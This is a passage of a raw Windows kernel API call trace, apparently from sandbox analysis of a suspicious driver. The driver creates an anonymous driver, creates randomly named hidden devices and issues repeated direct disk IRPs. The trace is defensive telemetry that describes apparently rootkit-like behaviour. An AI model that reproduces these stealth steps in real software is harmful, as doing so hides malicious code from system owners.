IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.906] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\TDI.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.938] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\tdx.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.946] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\afd.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.974] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\DRIVERS\\netbt.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.995] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\wfplwf.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.008] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\pacer.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.025] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\netbios.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.037] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\wanarp.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.053] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\termdd.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.081] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\rdbss.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.121] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\nsiproxy.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.129] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\mssmbios.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.140] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\drivers\\discache.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.157] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\csc.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.186] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\dfsc.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.201] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\blbdrive.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0060.212] IdePortDispatch () returned 0x103 [0060.218] IdePortDispatch () returned 0x103 Thread: id = 4 os_tid = 0x14 Thread: id = 5 os_tid = 0x2c Thread: id = 6 os_tid = 0x50 Thread: id = 7 os_tid = 0x58 Thread: id = 8 os_tid = 0x5c Thread: id = 9 os_tid = 0x6c Thread: id = 10 os_tid = 0x44 [0057.225] ExFreePoolWithTag (P=0xfffffa800270f610, Tag=0x0) [0057.225] PsRemoveCreateThreadNotifyRoutine (NotifyRoutine=0xfffff80000bb08e4) returned 0x0 [0057.225] RtlRandom (in: Seed=0xfffffa80027d37ec | out: Seed=0xfffffa80027d37ec) returned 0xd24eb7c [0057.226] _snprintf (in: _Dest=0xfffffa80027d3870, _Count=0x8, _Format="%08x" | out: _Dest="0d24eb7c") returned 8 [0057.226] IoCreateDriver (DriverName=0x0, InitializationFunction=0xfffffa80027cb690) returned 0x0 [0057.226] ObfReferenceObject (Object=0xfffffa80027ba6e0) returned 0x3 [0057.226] ObMakeTemporaryObject (Object=0xfffffa80027ba6e0) [0057.226] ObReferenceObjectByName (in: ObjectName="\\driver\\pnpmanager", Attributes=0x40, PassedAccessState=0x0, DesiredAccess=0x0, ObjectType=0xfffffa80018c9b40, AccessMode=0x0, ParseContext=0xfffff88000000000, Object=0xfffff88002fabb80 | out: ParseContext=0xfffff88000000000, Object=0xfffff88002fabb80*=0xfffffa80018eeae0) returned 0x0 [0057.226] RtlRandom (in: Seed=0xfffffa80027d37ec | out: Seed=0xfffffa80027d37ec) returned 0x404331a9 [0057.226] _snwprintf (in: _Dest=0xfffff88002fabab8, _Count=0x8, _Format="%08x" | out: _Dest="000001a9") returned 8 [0057.226] _snwprintf (in: _Dest=0xfffffa80027d2fa0, _Count=0x103, _Format="\\device\\%s" | out: _Dest="\\device\\000001a9") returned 16 [0057.226] RtlInitUnicodeString (in: DestinationString=0xfffff88002fabb10, SourceString="\\device\\000001a9" | out: DestinationString="\\device\\000001a9") [0057.226] IoCreateDevice (in: DriverObject=0xfffffa80018eeae0, DeviceExtensionSize=0x0, DeviceName="\\device\\000001a9", DeviceType=0x4, DeviceCharacteristics=0x0, Exclusive=0, DeviceObject=0xfffffa80027d3800 | out: DeviceObject=0xfffffa80027d3800) returned 0x0 [0057.226] _snwprintf (in: _Dest=0xfffffa80027d35d0, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c") returned 25 [0057.226] IoCreateDevice (in: DriverObject=0xfffffa80027ba6e0, DeviceExtensionSize=0x0, DeviceName=0x0, DeviceType=0x22, DeviceCharacteristics=0x0, Exclusive=0, DeviceObject=0xfffffa80027d3808 | out: DeviceObject=0xfffffa80027d3808) returned 0x0 [0057.226] _snwprintf (in: _Dest=0xfffffa80027d35d0, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c") returned 25 [0057.226] ObfDereferenceObject (Object=0xfffffa80018eeae0) returned 0x45 [0057.226] KeInitializeEvent (in: Event=0xfffffa80027d38b0, Type=0x1, State=0 | out: Event=0xfffffa80027d38b0) [0057.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.226] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.226] IdePortDispatch () returned 0x103 [0057.226] KeWaitForMutexObject () returned 0x0 [0057.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.226] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.226] IdePortDispatch () returned 0x103 [0057.227] KeWaitForMutexObject () returned 0x0 [0057.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.227] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.227] IdePortDispatch () returned 0x103 [0057.227] KeWaitForMutexObject () returned 0x0 [0057.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.227] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.227] IdePortDispatch () returned 0x103 [0057.227] KeWaitForMutexObject () returned 0x0 [0057.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.227] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.227] IdePortDispatch () returned 0x103 [0057.228] KeWaitForMutexObject () returned 0x0 [0057.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.228] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.228] IdePortDispatch () returned 0x103 [0057.228] KeWaitForMutexObject () returned 0x0 [0057.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.228] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.228] IdePortDispatch () returned 0x103 [0057.228] KeWaitForMutexObject () returned 0x0 [0057.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.228] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.228] IdePortDispatch () returned 0x103 [0057.228] KeWaitForMutexObject () returned 0x0 [0057.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.229] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.229] IdePortDispatch () returned 0x103 [0057.229] KeWaitForMutexObject () returned 0x0 [0057.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.229] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.229] IdePortDispatch () returned 0x103 [0057.229] KeWaitForMutexObject () returned 0x0 [0057.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.229] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.229] IdePortDispatch () returned 0x103 [0057.229] KeWaitForMutexObject () returned 0x0 [0057.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.229] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.229] IdePortDispatch () returned 0x103 [0057.230] KeWaitForMutexObject () returned 0x0 [0057.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.230] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.230] IdePortDispatch () returned 0x103 [0057.230] KeWaitForMutexObject () returned 0x0 [0057.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.230] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.230] IdePortDispatch () returned 0x103 [0057.230] KeWaitForMutexObject () returned 0x0 [0057.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.230] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.230] IdePortDispatch () returned 0x103 [0057.231] KeWaitForMutexObject () returned 0x0 [0057.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.231] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.231] IdePortDispatch () returned 0x103 [0057.231] KeWaitForMutexObject () returned 0x0 [0057.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.231] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.231] IdePortDispatch () returned 0x103 [0057.231] KeWaitForMutexObject () returned 0x0 [0057.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.231] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.231] IdePortDispatch () returned 0x103 [0057.232] KeWaitForMutexObject () returned 0x0 [0057.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.232] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.232] IdePortDispatch () returned 0x103 [0057.232] KeWaitForMutexObject () returned 0x0 [0057.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.232] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.232] IdePortDispatch () returned 0x103 [0057.232] KeWaitForMutexObject () returned 0x0 [0057.232] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.232] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.232] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.232] IdePortDispatch () returned 0x103 [0057.232] KeWaitForMutexObject () returned 0x0 [0057.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.233] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.233] IdePortDispatch () returned 0x103 [0057.233] KeWaitForMutexObject () returned 0x0 [0057.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.233] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.233] IdePortDispatch () returned 0x103 [0057.233] KeWaitForMutexObject () returned 0x0 [0057.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.233] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.233] IdePortDispatch () returned 0x103 [0057.233] KeWaitForMutexObject () returned 0x0 [0057.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.233] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.234] IdePortDispatch () returned 0x103 [0057.234] KeWaitForMutexObject () returned 0x0 [0057.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.234] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.234] IdePortDispatch () returned 0x103 [0057.234] KeWaitForMutexObject () returned 0x0 [0057.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.234] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.234] IdePortDispatch () returned 0x103 [0057.234] KeWaitForMutexObject () returned 0x0 [0057.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.234] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.234] IdePortDispatch () returned 0x103 [0057.235] KeWaitForMutexObject () returned 0x0 [0057.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.235] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.235] IdePortDispatch () returned 0x103 [0057.235] KeWaitForMutexObject () returned 0x0 [0057.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.235] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.235] IdePortDispatch () returned 0x103 [0057.235] KeWaitForMutexObject () returned 0x0 [0057.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.235] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.235] IdePortDispatch () returned 0x103 [0057.236] KeWaitForMutexObject () returned 0x0 [0057.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.236] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.236] IdePortDispatch () returned 0x103 [0057.236] KeWaitForMutexObject () returned 0x0 [0057.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.236] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.236] IdePortDispatch () returned 0x103 [0057.236] KeWaitForMutexObject () returned 0x0 [0057.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 